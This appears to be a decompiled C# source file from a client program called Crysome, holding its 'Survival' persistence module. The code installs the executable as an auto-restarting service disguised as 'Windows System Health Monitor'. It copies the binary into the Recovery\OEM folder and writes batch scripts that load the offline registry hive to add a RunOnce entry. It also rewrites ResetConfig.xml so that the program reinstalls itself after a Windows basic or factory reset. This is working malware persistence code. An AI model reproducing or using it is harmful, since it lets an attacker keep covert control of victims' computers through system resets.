crysome/Crysome.Client/Crysome.Client.Configuration/Survival.cs

using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Xml.Linq;

namespace Crysome.Client.Configuration;

public static class Survival
{
	private static readonly Random _rnd = new Random();

	private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory);

	private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM");

	private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup");

	private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml");

	private static string RandomString(int len)
	{
		return new string((from _ in Enumerable.Range(0, len)
			select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
	}

	private static string EscapePayload(string cmd)
	{
		return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&")
			.Replace("|", "^|")
			.Replace("<", "^<")
			.Replace(">", "^>")
			.Replace("\"", "\"\"");
	}

	private static string CreatePayload(string command)
	{
		string text = RandomString(20);
		string text2 = EscapePayload(command);
		return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n";
	}

	public static void Install()
	{
		if (!ClientConfiguration.IsFeatureEnabled("survival"))
		{
			return;
		}
		try
		{
			InstallService();
			InstallResetSurvival();
		}
		catch (Exception ex)
		{
			Program.Log("Survival error: " + ex.Message);
		}
	}

	private static void InstallResetSurvival()
	{
		try
		{
			string processPath = ClientConfiguration.GetProcessPath();
			if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment())
			{
				byte[] bytes = File.ReadAllBytes(processPath);
				string text = RandomString(12) + ".exe";
				string text2 = Path.Combine(OEMPath, text);
				File.WriteAllBytes(text2, bytes);
				Program.Log("Survival: Reset stub written " + text);
				CreatePayload("cmd /c " + text2);
			}
		}
		catch
		{
		}
	}

	private static void InstallService()
	{
		try
		{
			string processPath = ClientConfiguration.GetProcessPath();
			string text = "WindowsHealthMonitor";
			string text2 = "Windows System Health Monitor";
			string text3 = "Monitors system health and performance diagnostics.";
			if (ServiceExists(text))
			{
				Program.Log("Survival: Service already exists.");
				return;
			}
			RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\"");
			RunSc("description \"" + text + "\" \"" + text3 + "\"");
			RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000");
			RunSc("start \"" + text + "\"");
			Program.Log("Survival: Service installed (" + text + ")");
		}
		catch (Exception ex)
		{
			Program.Log("Survival: Service install failed - " + ex.Message);
		}
	}

	private static bool ServiceExists(string serviceName)
	{
		try
		{
			Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"")
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				RedirectStandardOutput = true
			});
			string text = process.StandardOutput.ReadToEnd();
			process.WaitForExit();
			return !text.Contains("1060");
		}
		catch
		{
			return false;
		}
	}

	private static void RunSc(string args)
	{
		try
		{
			Process.Start(new ProcessStartInfo("sc", args)
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				WindowStyle = ProcessWindowStyle.Hidden
			}).WaitForExit();
		}
		catch
		{
		}
	}

	private static bool CreateEnvironment()
	{
		try
		{
			if (!Directory.Exists(OEMPath))
			{
				Directory.CreateDirectory(OEMPath);
			}
			if (Directory.Exists(BackupPath))
			{
				return false;
			}
			Directory.CreateDirectory(BackupPath);
			return true;
		}
		catch
		{
			return false;
		}
	}

	private static bool BackupConfig(string basicBat, string factoryBat, string stubName)
	{
		try
		{
			File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName });
			if (File.Exists(ResetConfigPath))
			{
				File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true);
			}
			return true;
		}
		catch
		{
			return false;
		}
	}

	private static void SaveScript(string fileName, string payload, string extra = null)
	{
		string text = payload;
		if (!string.IsNullOrEmpty(extra))
		{
			text += extra;
		}
		File.WriteAllText(Path.Combine(OEMPath, fileName), text);
	}

	private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload)
	{
		if (!File.Exists(ResetConfigPath))
		{
			CreateNewConfig(basicBat, factoryBat, payload);
		}
		else
		{
			UpdateExistingConfig(basicBat, factoryBat, payload);
		}
	}

	private static XElement CreateRunElem(string phase, string path, int duration)
	{
		return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration));
	}

	private static void CreateNewConfig(string basicBat, string factoryBat, string payload)
	{
		new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath);
		SaveScript(basicBat, payload);
		SaveScript(factoryBat, payload);
	}

	private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload)
	{
		XElement xElement = XElement.Load(ResetConfigPath);
		XElement[] array = (from e in xElement.Elements("Run")
			where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply"
			select e).ToArray();
		int num = 1;
		XElement[] array2 = array;
		for (int num2 = 0; num2 < array2.Length; num2++)
		{
			XElement xElement2 = array2[num2].Element("Duration");
			if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num)
			{
				num = result;
			}
		}
		string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat);
		string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat);
		if (text == null)
		{
			xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num));
		}
		if (text2 == null)
		{
			xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num));
		}
		SaveScript(basicBat, payload, text);
		SaveScript(factoryBat, payload, text2);
		xElement.Save(ResetConfigPath);
	}

	private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
	{
		XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName);
		if (xElement == null)
		{
			return null;
		}
		string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path");
		string text2 = ((string)xElement.Element("Param")) ?? "";
		xElement.Element("Param")?.Remove();
		xElement.Element("Path").Value = fileName;
		return "\"" + text + "\" " + text2;
	}
}